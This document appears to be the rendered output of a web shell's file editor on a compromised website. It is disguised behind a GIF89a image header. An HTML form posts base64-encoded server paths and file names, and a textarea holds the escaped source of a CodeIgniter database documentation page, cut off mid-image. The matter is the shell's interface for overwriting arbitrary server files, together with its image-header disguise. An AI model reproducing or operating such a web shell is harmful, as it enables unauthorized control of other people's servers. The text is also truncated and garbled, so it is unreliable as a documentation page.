GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>db_driver_reference.html<form method=post action="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=ZGJfZHJpdmVyX3JlZmVyZW5jZS5odG1s"><input name="f" value="db_driver_reference.html"><textarea name="t">

&lt;!DOCTYPE html&gt;
&lt;!--[if IE 8]&gt;&lt;html class=&quot;no-js lt-ie9&quot; lang=&quot;en&quot; &gt; &lt;![endif]--&gt;
&lt;!--[if gt IE 8]&gt;&lt;!--&gt; &lt;html class=&quot;no-js&quot; lang=&quot;en&quot; &gt; &lt;!--&lt;![endif]--&gt;
&lt;head&gt;
  &lt;meta charset=&quot;utf-8&quot;&gt;
  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
  
  &lt;title&gt;DB Driver Reference &amp;mdash; CodeIgniter 3.1.11 documentation&lt;/title&gt;
  

  
  
    &lt;link rel=&quot;shortcut icon&quot; href=&quot;../_static/ci-icon.ico&quot;/&gt;
  

  
  &lt;link href='https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic|Roboto+Slab:400,700|Inconsolata:400,700&amp;subset=latin,cyrillic' rel='stylesheet' type='text/css'&gt;

  
  
    

  

  
  
    &lt;link rel=&quot;stylesheet&quot; href=&quot;../_static/css/citheme.css&quot; type=&quot;text/css&quot; /&gt;
  

  
        &lt;link rel=&quot;index&quot; title=&quot;Index&quot;
              href=&quot;../genindex.html&quot;/&gt;
        &lt;link rel=&quot;search&quot; title=&quot;Search&quot; href=&quot;../search.html&quot;/&gt;
    &lt;link rel=&quot;top&quot; title=&quot;CodeIgniter 3.1.11 documentation&quot; href=&quot;../index.html&quot;/&gt;
        &lt;link rel=&quot;up&quot; title=&quot;Database Reference&quot; href=&quot;index.html&quot;/&gt;
        &lt;link rel=&quot;next&quot; title=&quot;Helpers&quot; href=&quot;../helpers/index.html&quot;/&gt;
        &lt;link rel=&quot;prev&quot; title=&quot;Database Utility Class&quot; href=&quot;utilities.html&quot;/&gt; 

  
  &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/modernizr/2.6.2/modernizr.min.js&quot;&gt;&lt;/script&gt;

&lt;/head&gt;

&lt;body class=&quot;wy-body-for-nav&quot; role=&quot;document&quot;&gt;

  &lt;div id=&quot;nav&quot;&gt;
  &lt;div id=&quot;nav_inner&quot;&gt;
    
    
    
      &lt;div id=&quot;pulldown-menu&quot; class=&quot;ciNav&quot;&gt;
        &lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/welcome.html&quot;&gt;Welcome to CodeIgniter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;Installation Instructions&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/downloads.html&quot;&gt;Downloading CodeIgniter&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;Installation Instructions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/upgrading.html&quot;&gt;Upgrading From a Previous Version&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/troubleshooting.html&quot;&gt;Troubleshooting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/index.html&quot;&gt;CodeIgniter Overview&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/getting_started.html&quot;&gt;Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/at_a_glance.html&quot;&gt;CodeIgniter at a Glance&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/features.html&quot;&gt;Supported Features&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/appflow.html&quot;&gt;Application Flow Chart&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/mvc.html&quot;&gt;Model-View-Controller&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/goals.html&quot;&gt;Architectural Goals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/index.html&quot;&gt;Tutorial&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/static_pages.html&quot;&gt;Static pages&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/news_section.html&quot;&gt;News section&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/create_news_items.html&quot;&gt;Create news items&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/conclusion.html&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../contributing/index.html&quot;&gt;Contributing to CodeIgniter&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../documentation/index.html&quot;&gt;Writing CodeIgniter Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../DCO.html&quot;&gt;Developers Certificate of Origin 1.1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/index.html&quot;&gt;General Topics&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/urls.html&quot;&gt;CodeIgniter URLs&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/controllers.html&quot;&gt;Controllers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/reserved_names.html&quot;&gt;Reserved Names&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/views.html&quot;&gt;Views&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/models.html&quot;&gt;Models&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/helpers.html&quot;&gt;Helpers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/libraries.html&quot;&gt;Using CodeIgniter Libraries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/creating_libraries.html&quot;&gt;Creating Libraries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/drivers.html&quot;&gt;Using CodeIgniter Drivers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/creating_drivers.html&quot;&gt;Creating Drivers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/core_classes.html&quot;&gt;Creating Core System Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/ancillary_classes.html&quot;&gt;Creating Ancillary Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/hooks.html&quot;&gt;Hooks - Extending the Framework Core&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/autoloader.html&quot;&gt;Auto-loading Resources&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/common_functions.html&quot;&gt;Common Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/compatibility_functions.html&quot;&gt;Compatibility Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/routing.html&quot;&gt;URI Routing&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/errors.html&quot;&gt;Error Handling&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/caching.html&quot;&gt;Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/profiling.html&quot;&gt;Profiling Your Application&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/cli.html&quot;&gt;Running via the CLI&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/managing_apps.html&quot;&gt;Managing your Applications&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/environments.html&quot;&gt;Handling Multiple Environments&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/alternative_php.html&quot;&gt;Alternate PHP Syntax for View Files&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/security.html&quot;&gt;Security&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/styleguide.html&quot;&gt;PHP Style Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/index.html&quot;&gt;Libraries&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/benchmark.html&quot;&gt;Benchmarking Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/caching.html&quot;&gt;Caching Driver&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/calendar.html&quot;&gt;Calendaring Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/cart.html&quot;&gt;Shopping Cart Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/config.html&quot;&gt;Config Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/email.html&quot;&gt;Email Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encrypt.html&quot;&gt;Encrypt Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encryption.html&quot;&gt;Encryption Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/file_uploading.html&quot;&gt;File Uploading Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/ftp.html&quot;&gt;FTP Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/image_lib.html&quot;&gt;Image Manipulation Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/input.html&quot;&gt;Input Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/javascript.html&quot;&gt;Javascript Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/language.html&quot;&gt;Language Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/loader.html&quot;&gt;Loader Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/migration.html&quot;&gt;Migrations Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/output.html&quot;&gt;Output Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/pagination.html&quot;&gt;Pagination Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/parser.html&quot;&gt;Template Parser Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/security.html&quot;&gt;Security Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/sessions.html&quot;&gt;Session Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/table.html&quot;&gt;HTML Table Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/trackback.html&quot;&gt;Trackback Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/typography.html&quot;&gt;Typography Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/unit_testing.html&quot;&gt;Unit Testing Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/uri.html&quot;&gt;URI Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/user_agent.html&quot;&gt;User Agent Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/xmlrpc.html&quot;&gt;XML-RPC and XML-RPC Server Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/zip.html&quot;&gt;Zip Encoding Class&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul class=&quot;current&quot;&gt;
&lt;li class=&quot;toctree-l1 current&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;index.html&quot;&gt;Database Reference&lt;/a&gt;&lt;ul class=&quot;current&quot;&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;examples.html&quot;&gt;Quick Start: Usage Examples&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;configuration.html&quot;&gt;Database Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;connecting.html&quot;&gt;Connecting to a Database&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;queries.html&quot;&gt;Running Queries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;results.html&quot;&gt;Generating Query Results&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;helpers.html&quot;&gt;Query Helper Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;query_builder.html&quot;&gt;Query Builder Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;transactions.html&quot;&gt;Transactions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;metadata.html&quot;&gt;Getting MetaData&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;call_function.html&quot;&gt;Custom Function Calls&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;caching.html&quot;&gt;Query Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;forge.html&quot;&gt;Database Manipulation with Database Forge&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;utilities.html&quot;&gt;Database Utilities Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2 current&quot;&gt;&lt;a class=&quot;current reference internal&quot; href=&quot;#&quot;&gt;Database Driver Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/index.html&quot;&gt;Helpers&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/array_helper.html&quot;&gt;Array Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/captcha_helper.html&quot;&gt;CAPTCHA Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/cookie_helper.html&quot;&gt;Cookie Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/date_helper.html&quot;&gt;Date Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/directory_helper.html&quot;&gt;Directory Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/download_helper.html&quot;&gt;Download Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/email_helper.html&quot;&gt;Email Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/file_helper.html&quot;&gt;File Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/form_helper.html&quot;&gt;Form Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/html_helper.html&quot;&gt;HTML Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/inflector_helper.html&quot;&gt;Inflector Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/language_helper.html&quot;&gt;Language Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/number_helper.html&quot;&gt;Number Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/path_helper.html&quot;&gt;Path Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/security_helper.html&quot;&gt;Security Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/smiley_helper.html&quot;&gt;Smiley Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/string_helper.html&quot;&gt;String Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/text_helper.html&quot;&gt;Text Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/typography_helper.html&quot;&gt;Typography Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/url_helper.html&quot;&gt;URL Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/xml_helper.html&quot;&gt;XML Helper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

      &lt;/div&gt;
    
      
  &lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;nav2&quot;&gt;
  &lt;a href=&quot;#&quot; id=&quot;openToc&quot;&gt;
    &lt;img src=&quot;data:image/jpeg;base64,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